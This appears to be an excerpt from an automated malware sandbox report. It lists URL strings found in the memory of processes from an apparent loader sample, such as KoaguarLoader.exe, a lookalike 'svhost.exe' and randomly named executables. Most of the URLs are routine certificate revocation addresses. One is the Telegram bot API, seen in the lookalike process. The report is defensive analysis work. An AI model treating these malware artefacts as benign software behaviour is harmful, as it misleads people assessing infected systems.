Source: svhost.exe, 00000003.00000002.2138122248.000000000321F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: KoaguarLoader.exe, 00000002.00000002.951588515.0000000002868000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FEC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/r/gsr1.crl
Source: KoaguarLoader.exe, 00000002.00000002.945609368.00000000024EE000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000245E000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000246A000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000255C000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C04000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018E0000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001CA2000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C32000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FEC000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FCD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/r/gsr1.crl0
Source: HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C1E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/r/gsr1.crl=
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FEC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/r/r4.crl
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002574000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.00000000024F4000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.00000000024EE000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.00000000024BE000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000246A000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B72000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.0000000001870000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018F0000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C32000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BA7000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D86000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FCD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/r/r4.crl0
Source: KoaguarLoader.exe, 00000002.00000002.945609368.00000000024A6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C1E000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001DEE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/we1/2DqfS24kcdI.crl
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001DEE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/we1/2DqfS24kcdI.crl$_U
Source: KoaguarLoader.exe, 00000002.00000002.945609368.00000000024EE000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.00000000024BE000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002492000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000246A000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B72000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.0000000001870000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C32000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B78000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FCD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://c.pki.goog/we1/2DqfS24kcdI.crl0
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002414000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.0000000001896000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt
Source: KoaguarLoader.exe, 00000002.00000002.951588515.0000000002868000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002472000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000245E000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002408000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002466000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000246A000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C38000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C2E000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C28000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C3E000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BAE000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B48000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C32000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C5A000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D86000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C00000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FCD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002414000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B9E000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001DF6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt
Source: KoaguarLoader.exe, 00000002.00000002.945609368.000000000245E000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002408000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000246A000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C38000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C04000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C1E000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B48000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BBE000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C32000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C5A000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C00000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FEC000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FCD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002414000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B9E000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001DF6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crthttp://crl3.digicert.com/DigiCertGlobalRootG2.cr
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002560000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001D20000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018E2000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D86000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1219532412.0000000001ECE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html0
Source: I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001D30000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018F0000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1219532412.0000000001EE2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002560000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001D20000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018E2000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D86000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1219532412.0000000001ECE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl0
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002516000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001C88000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.0000000001896000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1217387150.0000000001C14000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002516000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001C88000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.0000000001896000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1217387150.0000000001C14000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl(c)
Source: KoaguarLoader.exe, 00000002.00000002.945609368.000000000274C000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001D30000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B48000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001DB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1219532412.0000000001EF2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001D30000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018F0000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1219532412.0000000001EE2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002560000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001D18000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018E2000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D86000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1219532412.0000000001ECE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000005.00000002.1042729977.000002B0D3699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micl
Source: I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001CB0000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1217387150.0000000001C14000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002542000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001C88000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018C2000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C74000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1217387150.0000000001C6E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: svchost.exe, 0000000F.00000002.2135608032.000001CB6D800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001CB0000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1217387150.0000000001C14000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl
Source: KoaguarLoader.exe, 00000002.00000002.945609368.000000000254A000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 00000004.00000002.949808464.0000000001CC2000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018C2000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000010.00000002.1217387150.0000000001C74000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002414000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.0000000001896000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl
Source: KoaguarLoader.exe, 00000002.00000002.951588515.0000000002868000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002472000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000245E000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002408000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002466000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000246A000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C38000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C2E000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C28000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C3E000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BAE000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B48000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C32000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C5A000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D86000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C00000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FCD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002414000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.0000000001896000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crlhttp://crl4.digicert.com/DigiCertG
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002414000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B9E000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001DF6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl
Source: KoaguarLoader.exe, 00000002.00000002.945609368.000000000245E000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002408000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000246A000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C38000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C04000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C1E000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B48000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BBE000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C32000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C5A000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C00000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FEC000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FCD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002414000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.0000000001896000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl
Source: KoaguarLoader.exe, 00000002.00000002.951588515.0000000002868000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002472000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000245E000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002408000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002466000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000246A000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C38000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C2E000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C28000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C3E000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BAE000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1088348281.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B48000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C32000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C5A000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D86000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C00000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FCD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0
Source: KoaguarLoader.exe, 00000002.00000002.945609368.0000000002414000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B9E000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001DF6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl
Source: KoaguarLoader.exe, 00000002.00000002.945609368.000000000245E000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.0000000002408000.00000004.00001000.00020000.00000000.sdmp, KoaguarLoader.exe, 00000002.00000002.945609368.000000000246A000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C38000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C04000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C1E000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BB6000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001B48000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1090236510.0000000001BBE000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C32000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C5A000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001CD6000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001C00000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FEC000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FCD000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl00
Source: svchost.exe, 0000000F.00000003.1211505121.000001CB6D570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: KoaguarLoader.exe, 00000002.00000002.951588515.0000000002868000.00000004.00001000.00020000.00000000.sdmp, HkqNfKUrMBAD.exe, 00000009.00000002.1091055093.0000000001C1E000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001FEC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://i.pki.goog/gsr1.crt
